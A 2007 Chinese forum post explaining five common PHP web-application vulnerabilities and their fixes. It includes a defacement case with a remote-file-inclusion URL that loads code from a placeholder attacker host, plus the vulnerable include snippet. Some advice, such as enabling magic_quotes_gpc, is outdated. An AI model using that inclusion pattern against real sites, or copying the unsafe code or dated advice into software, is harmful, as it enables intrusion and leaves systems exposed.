創意設計,讓居家空間再加分
提供各式精緻窗簾,專業窗藝設計師為您服務!
門窗工程室內裝潢油漆師傅領導,專精各種油漆工程
施工期間油漆工程價目表也絕不亂加價

首頁  •  j2h 論壇 • 程式設計討論     • 

五種常見的網頁應用程式漏洞

房東:優妹
發表時間:2007-02-18


一、概述

本文將著重在五種常見的網頁應用程式攻擊,主要針對PHP應用程式,並介紹相關網站,研究其安全性弱點,其中,在這裡所提到的重點都只是廣泛研究的一部分,建議讀者遵循文章中所列的參考書目作更深入的研究。而對於網站的製作以及管理者來說,具備這些攻擊的知識更是重要。要注意的是,網頁應用程式事實上可能遭受到更多文章所列之外的攻擊。

在文章中所提到的五種攻擊分別是:

1. 遠端程式碼執行(Remote code execution)

2. SQL隱碼攻擊(SQL injection)

3. 格式化字串弱點(Format string vulnerabilities)

4. 跨站腳本攻擊(Cross Site Scripting,XSS)

5. 使用者名稱的獲取(Username Enumeration)

一些較差的程式開發過程可能會導致遭受這些攻擊。本文將提供一些實例來幫助了解這些弱點,以及隨之而來的攻擊,希望能對這些問題作概要的陳述。

二、弱點解說

1. 遠端程式碼執行(Remote code execution)

這個漏洞使攻擊者在受害主機上執行任意的系統指令,並獲取內部的資料,這個漏洞主要肇因於不適當的程式編碼錯誤。而這種漏洞在滲透測試當中並不容易被發現,但通常在檢視原始碼的時候即可發現。這項弱點如果被利用,將可能導致整個系統被破解。這是一個高度風險的弱點,目前有缺陷的產品有phpbb,Invision Board,Cpanel,Paypal cart,Drupal等。

解決方案大致如下:較新的PHP版本將register_globals這個參數的預設值設為關閉,但有些使用者為了應用程式的需要將其改變,此值可在php.ini檔或是.htaccess檔中設定開啟或關閉。系統管理員若在不能確定的情況下,應該向程式設計者確認。

另外,撰寫程式時應儘可能地避免使用shell指令,並在使用者輸入資料時進行資料字串的處理,確保只有被處理及過濾過的資料或是字串可以用來之後建構使用。

2. SQL隱碼攻擊(SQL injection)

SQL隱碼攻擊是一種較古老的方法,但仍然相當受到駭客的喜愛。這種攻擊讓攻擊者可以從網頁伺服器的資料庫得到重要的資訊。其影響可從基本的資訊的曝露,到遠端程式碼的執行,甚至整體系統被破解。這是一個中高風險的漏洞,有缺陷的產品包括PHPNuke,MyBB,Mambo CMS,ZenCart及osCommerce等。

解決方案大致如下:避免以超級使用者(superuser)或是資料庫擁有者的權限連接到資料庫。只使用設定過僅具有最小權限的資料庫使用者來完成工作。另外,將PHP magic_quotes_gpc功能設為開啟,避免所有POST、GET、COOKIE資料會自動流出。此外,PHP有提供MySQL兩種功能來對使用者輸入檢查:addslashes() (較舊的方法)及 mysql_real_escape_string()(推薦使用的方法)。此功能僅提供PHP4.3.0之後的版本使用,所以必須先確定這個功能是否存在並使用最新的PHP版本。在MySQL_real_escape_string() 預設下列字元為反斜線:\x00、\n、\r、\、'、"及\x1a。可用來避免使用者輸入的惡意攻擊字串輸入資料庫中。

3. 格式化字串弱點(Format string vulnerabilities)

此種弱點是起因於在某些perl或是c函數處理格式化(formatting)指令,像是C語言的printf()時,使用了沒有過濾過的使用者輸入,當作格式化字串的參數。在這樣的狀況下,惡意的使用者可以利用如%s和%x之類的輸入,並藉由這樣的漏洞,去印出從記憶體堆疊或其它地方得到的資料;也有可能利用%n,藉由類似printf()的指令漏洞,讓這些指令寫回(write back)格式化的位元組數,進而得以寫入任意的資料到任意的記憶體位址。

此漏洞被歸類為中高風險的漏洞,有缺陷的產品有:McAfee AV、Usermin、Webmin、various Apache modules、winrar、ettercap等等。當然,這個漏洞可以靠撿視原始碼,加入使用者輸入會被適當的驗證來解決。

4. 跨站腳本攻擊(Cross Site Scripting,XSS)

這種攻擊若要成功,需要受害者執行看似安全但卻不安好心的網頁連結URL。當瀏覽這樣的網頁連結時,攻擊者可在使用者的瀏覽器上執行惡意的攻擊,例如在具跨站腳本攻擊(Cross Site Scripting,XSS)漏洞的網站上進行引導使用者至放置一些惡意的JavaScript的網站,就可以讓受害者執行到這個惡意程式碼。而通常這類攻擊較常出現在使用者的輸入被顯示在網頁上時,例如:當搜尋引擎回傳有”n”筆資料符合使用者輸入的”$_search”字串等。

此漏洞的風險等級為:低至中風險。有缺陷的產品有:Microsoft IIS web server、Yahoo Mail、Squirrel Mail、Google search。這個漏洞的修補必須靠開發者修改程式碼來完成。

5. 使用者名稱的獲取(Username Enumeration)

使用者名稱的獲取是一種攻擊者利用試誤法(trial and error),在網站的驗證頁面做嘗試,例如輸入錯誤的使用者名稱時,網站會回應「無此帳號」;而輸入正確名稱時,因不知道密碼,網站會回應「密碼錯誤」。如此即可在一個網站中試出不同的使用者名稱。

這樣的弱點可以讓攻擊者在得到使用者名稱後,去利用一些簡易的密碼組合,如test/test、admin/admin等,得到進入系統的權限,這些不安全的帳號密碼組合通常源自一些網站測試人員跟開發者,而沒有在網站公開之後刪除所造成。

基本上這是一個低風險的弱點,只要顯示固定的錯誤訊息就可以避免掉使用者資料被洩露的風險,而另外也必須要注意在一些測試用的帳號在完成其任務之後,就必須在網站上線之前刪除或是更改密碼。

三、不要漠視Google搜尋引擎的威力

許多資安事件的發生,諸如網站破壞或是駭客攻擊,都是人為所造成。通常是同儕間為了求得認同,而非希望從網站得到寶貴資訊,例如信用卡資料…等。接下來,我們用一個實際的案例來探討利用google搜尋引擎的攻擊。

有天某公司之網站遭人破壞。但此網站中並沒有任何重要資訊,更沒有信用卡資料。經過一番詳細分析,結論為攻擊者純粹為了好玩,而非從中獲利。

最重要的是,駭客如何攻進網站?這個被攻擊的網站當時正執行一個易遭受攻擊的電子商務軟體。此軟體允許攻擊者於網址輸入一遠端攻擊檔案,如:http://vulnerable_server/includes/include_once.php?include_file=https://attackersite.com/exploit.txt

exploit.txt為此遠端攻擊檔案,其內容將包含類似下列舉例的程式碼:

此段程式碼將使得列印出application.php檔之原始碼。

弱點發生原因乃為軟體裡某段程式碼造成。下列為其片段程式碼:


if (!defined($include_file . '__')) {

define($include_file . '__', 1);

include($include_file);

}

?>

由以上可知,攻擊者將不費吹灰之力地利用此弱點攻擊,而且將可於exploit.txt檔裡任意撰寫不同惡意程式碼。

問題在於攻擊者如何得知此網站正執行一個易遭受攻擊的電子商務軟體?事實上,使用Google搜尋引擎將可輕易得知目前所有使用這個電子商務軟體的網站,一旦得知此資訊,便可利用上述攻擊方式輕易地攻擊。甚至在許多案例下,惡意程式碼之取得非常容易,例如透過電子郵件傳遞。所以,不只是販賣軟體的廠商在發現出漏洞的同時必須釋出更新檔,網站管理者也必須經常地更新修補其軟體以達安全。

四、深層防禦攻擊

本文主要著墨於網站本身應用程式程式碼之漏洞。為達安全,修補其程式碼之漏洞通常為優先考量。但是,依然有許多方式可提供不同層次之安全。像很多開放源碼的軟體都可以提供另一層的防護,舉例來說,利用Snort來當做入侵偵測系統,並經常性的更新其規則定義檔,就是一種方法。當然,也有許多的商業應用軟體也可以達到安全防護的效果,這樣就可以提供一層又一層的保障。

五、結論

在這篇文章中,我們討論了五個常見的網頁應用上的漏洞,以及它們的危險程度與解決方法,此外也介紹了google駭客的方法,其實這些弱點,很多都是程式設計上的問題,或是網站開發者的疏忽,只要多加注意,並勤於更新網站所使用的軟體,很多漏洞事實上都是可以避免的。





  • 贊助網站       

    廣利不動產-新板特區指名度最高、值得您信賴的好房仲
    您的托付,廣利用心為您服務
    廣利不動產-板橋在地生根最實在--新板特區指名度最高、值得您信賴的好房仲
    完整房訊,房屋、店面熱門精選物件,廣利不動產 優質仲介,房屋租賃、買賣資訊透明,交易真安心!



  •  共 0 人回應

    姓名:
    佈告內容:
    其他選項: